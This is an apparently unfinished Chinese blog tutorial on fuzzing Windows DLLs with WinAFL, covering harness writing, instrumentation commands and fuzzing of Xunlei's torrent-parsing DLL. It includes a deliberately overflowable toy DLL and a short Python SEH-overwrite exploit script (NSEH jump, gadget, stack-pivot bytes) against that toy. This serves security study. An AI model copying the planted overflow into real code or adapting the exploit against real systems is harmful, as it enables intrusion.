Joe1sn's Cabinet

【漏洞挖掘】win-afl使用指北-中级篇

为什么不叫高级篇,因为高级的我也不会

主要讲一下更贴近实际的用法吧

!!!仅大标题1完成,全片未完待续!!!

对DLL进行Fuzz

理论测试

代码还是上一篇提到的代码,依旧是32位,只不过溢出部分写在DLL里面

dll.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>

__declspec(dllexport) void vuln(char *FileDir)
{
char password[6] = "ABCDE";
char str[6];
FILE *fp;
if(!(fp=fopen(FileDir,"r"))){
printf("Open Failed\n");
exit(0);
}
fgets(str, 0x1000, fp);

str[5]='\0';
if(strcmp(str,password)==0)
// fprintf(stderr,"OK.\n");
printf("OK.\n");
else
// fprintf(stderr,"NO.\n");
printf("NO.\n");
}

编译

1
gcc -shared -o mydll.dll dll.c

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

__declspec(dllimport) void vuln();

int main(int argc, char *argv[])
{
if (argc != 2){
printf("Usage: ./HelloWorld.exe FileName\n");
return 0;
}
vuln(argv[1]);
return 0;
}
1
gcc -o main main.c mydll.dll

不想联合编译的话也可以使用GetProAddress来编写如下harness

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <windows.h>
typedef DWORD(__cdecl *pvuln)(char* aFileName);
pvuln vuln = NULL;

extern "C" __declspec(dllexport) int main(int argc, char *argv[])
{
char mydll_path[] = "D:\\HackTools\\Fuzz\\WinAFLFuzz\\testcase\\dll\\mydll.dll";
if (argc != 2){
printf("Usage: ./HelloWorld.exe FileName\n");
return 0;
}

static HMODULE hMyDLL = NULL;
hMyDLL = LoadLibraryA(mydll_path);
if(hMyDLL == NULL){
printf("Load DLL Failed\n");
goto END;
}
vuln = (pvuln)GetProcAddress(hMyDLL,"vuln");
if(vuln == NULL){
printf("Get Process Address Failed\n");
goto END;
}
vuln(argv[1]);

END:
if(hMyDLL){
FreeLibrary(hMyDLL);
}
return 0;
}

开始插桩看看

1
2
3
4
5
6
7
8
D:\HackTools\Fuzz\__FuzzWork\dynamorio\build_Win32\bin32\drrun.exe ^
-c D:\HackTools\Fuzz\__FuzzWork\winafl\build_Win32\bin\Release\winafl.dll -debug ^
-debug ^
-coverage_module mydll.dll ^
-target_module main.exe ^
-target_offset 0x16B0 ^
-fuzz_iterations 10 -nargs 2 -- ^
main.exe .\in\password.txt

开始fuzz

1
2
3
4
5
6
7
8
9
10
afl-fuzz.exe ^
-i .\in ^
-o .\out ^
-D "D:\HackTools\Fuzz\__FuzzWork\dynamorio\build_Win32\bin32" ^
-I 100000+ -t 90000+ -- ^
-coverage_module mydll.dll ^
-target_module main.exe ^
-target_offset 0x16B0 ^
-fuzz_iterations 5000 -nargs 2 -- ^
main.exe @@

瞬间找到crash

image-20230719223344759

样本长这样

image-20230719223644693

这次尝试使用x32dbg分析

image-20230719223859881

得到EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
payload = b""
shellcode = b""

offset = b"A"*(0x12c-len(shellcode)-32) #0x1c
NSEH = b"\xeb\x06\x90\x90" #asm("jmp 6;nop;nop")
gadget = b"\xEA\x23\x40\x00" #004023EA
self_gadget = b"\x89\xE0\x05\x24\x06\x00\x00\xFF\xE0" # mov eax, esp
# sub eax, 0x608
# jmp eax
payload = b"\xaa"*32+shellcode+offset+NSEH+gadget+self_gadget

with open("password.txt","wb") as f:
f.write(payload)

image-20230719224736838

要点就是:Fuzz的时候和插桩的时候加上-coverage_module <你的dll>

实际测试

你已经学会了1+1=2,请证明费马大定理吧,为了统一和方便,这里也用看雪里面的一篇文章

使用winafl对迅雷的torrent解析逻辑进行fuzz

首先是找到合适的软件,然后知道他那个功能是在那个dll中的,你可以使用ProcessMonitor查看(俗称procmon),截图没有,特征就是当你打开一个.torrent文件后,thunder.exe会马上加载AssisstantTools.dll。通过查看导出表可以找到一些可以测试的函数,这里我测试的是XL_ParseTorrentFile

image-20230721110915736

查看导入表可以看到依赖的P2PBase.dll

image-20230721111002412

所以fuzz的时候也要加上,开始编写harness,你可以用那篇文章里面的,但是我这里就很慢,
原文文章中的harness由于using附近的代码只在c++11中支持,所以使用gcc编译报错的可以尝试加上-std=c++11
如果你使用的是下面我编写的harness,那么直接编译就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <windows.h>

typedef DWORD(__cdecl *pXL_ParseTorrentFile)(CHAR* aFileName, PVOID* a1);
pXL_ParseTorrentFile XL_ParseTorrentFile = NULL;
typedef DWORD(__cdecl *pXL_ReleaseTorrentFileInfo)(PVOID a1);
pXL_ReleaseTorrentFileInfo XL_ReleaseTorrentFileInfo = NULL;

extern "C" __declspec(dllexport) void fuzz_method(char *FilePath){
PVOID a1 = NULL;

XL_ParseTorrentFile(FilePath, &a1);
if (a1)
{
XL_ReleaseTorrentFileInfo(a1);
}
return;
}

int main(int argc, char *argv[])
{
//char AssisstantToolsPath[] = "D:\\HackTools\\Fuzz\\WinAFLFuzz\\testcase\\thunder_fuzzer\\a.dll";
if (argc != 2){
printf("Usage: ./HelloWorld.exe FileName\n");
return 0;
}
static HMODULE hMyDLL = NULL;
hMyDLL = LoadLibraryA("AssistantTools.dll");
if(hMyDLL == NULL){
printf("Load DLL Failed\n");
goto END;
}
XL_ParseTorrentFile = (pXL_ParseTorrentFile)GetProcAddress(hMyDLL, "XL_ParseTorrentFile");
if(XL_ParseTorrentFile == NULL){
printf("Get Process Address Failed\n");
goto END;
}
XL_ReleaseTorrentFileInfo = (pXL_ReleaseTorrentFileInfo)GetProcAddress(hMyDLL, "XL_ReleaseTorrentFileInfo");
if(XL_ReleaseTorrentFileInfo == NULL){
printf("Get Process Address Failed\n");
goto END;
}

fuzz_method(argv[1]);

END:
if(hMyDLL){
FreeLibrary(hMyDLL);
}
printf("Done\n");
}

你可以用drrun -t drcov --来测试看是不是使用成功,之后使用drrun测试

1
2
3
4
5
6
7
8
"D:\HackTools\Fuzz\__FuzzWork\dynamorio\build_Win32\bin32\drrun.exe" ^
-c winafl.dll -debug ^
-coverage_module P2PBase.dll ^
-coverage_module AssistantTools.dll ^
-target_module fuzz_program.exe ^
-target_offset 0x11ef ^
-fuzz_iterations 10 -nargs 2 ^
-- fuzz_program.exe "D:\HackTools\Fuzz\WinAFLFuzz\testcase\thunder_fuzzer\testin\ubuntu-18.04.5-desktop-amd64.iso.torrent"
  • 问题1:

    如果你使用的Dynamorio是大于 8.0.0-1版本的,很大概率会出现错误类似于下面

    image-20230721111548243

    这种情况就是生成覆盖率文件是对的,但是测试的时候当程序进行IAT导入的时候,在dynamorio中的harness崩溃了,所以程序还没有进入entry入口点函数就直接寄了。这个错误很有意思,加载类似ntdll.dll或者自己在windows上写的DLL(哪怕无符号)都可以,当harness中的LoadLibrary载入其他DLL的时候(比如某个软件的ffmpeg.dll)也会报错。
    这个问题我解决了一天也没有解决,到是在看雪找了一个和我一样的帖子

    https://bbs.kanxue.com/thread-274169.htm

    最后我的解决方法是更换到dynamorio 8.0.0-1版本过后重新编译就行了

  • 问题2:

    当你使用target_method的时候,程序找不到该方法,这在你进行测试winafl案例的时候很常见,原因是该方法没有进行导出,在函数前面加上extern "C" __declspec(dllexport)就行了

    image-20230721112432715

首先就是缩减testcase

1
python "D:\HackTools\Fuzz\__FuzzWork\winafl\winafl-cmin.py" --working-dir "D:\HackTools\Fuzz\__FuzzWork\winafl\build_Win32\bin\Release" -D "D:\HackTools\Fuzz\__FuzzWork\dynamorio\build_Win32\bin32" -t 9000 -i "D:\HackTools\Fuzz\WinAFLFuzz\testcase\thunder_fuzzer\testin" -o "D:\HackTools\Fuzz\WinAFLFuzz\testcase\thunder_fuzzer\in" -coverage_module AssistantTools.dll -coverage_module P2PBase.dll -target_module fuzz_program.exe -target_method fuzz_method -nargs 1 -- fuzz_program.exe @@ 

然后开始fuzz,开启一个Master吧

1
2
3
4
5
6
7
8
9
10
11
12
afl-fuzz.exe ^
-M master ^
-i "D:\HackTools\Fuzz\WinAFLFuzz\testcase\thunder_fuzzer\in" ^
-o "D:\HackTools\Fuzz\WinAFLFuzz\testcase\thunder_fuzzer\out" ^
-D "D:\HackTools\Fuzz\__FuzzWork\dynamorio\build_Win32\bin32" ^
-I 100000+ -t 9000 -- ^
-coverage_module AssistantTools.dll ^
-coverage_module P2PBase.dll ^
-target_module fuzz_program.exe ^
-target_method fuzz_method ^
-fuzz_iterations 5000 -nargs 1 -- ^
fuzz_program.exe @@
  • -M: 指定这是一个Master进程

  • -i -:当fuzz暂停的时候恢复,在AFL上是-in -,具体用法

    1
    2
    3
    4
    5
    afl-fuzz.exe ^
    -M master ^
    -i -"D:\HackTools\Fuzz\WinAFLFuzz\testcase\thunder_fuzzer\in" ^
    -o "D:\HackTools\Fuzz\WinAFLFuzz\testcase\thunder_fuzzer\out" ^
    ....

img

自己改写的harness确实快,但也不至于一下子就跑出来,这里我用旧版本的迅雷试了下

img

也就是一个被修复的÷0报错(EXCEPTION_INT_DIVIDE_BY_ZERO)

昨天16h高强度修复问题1,暂时更新到这里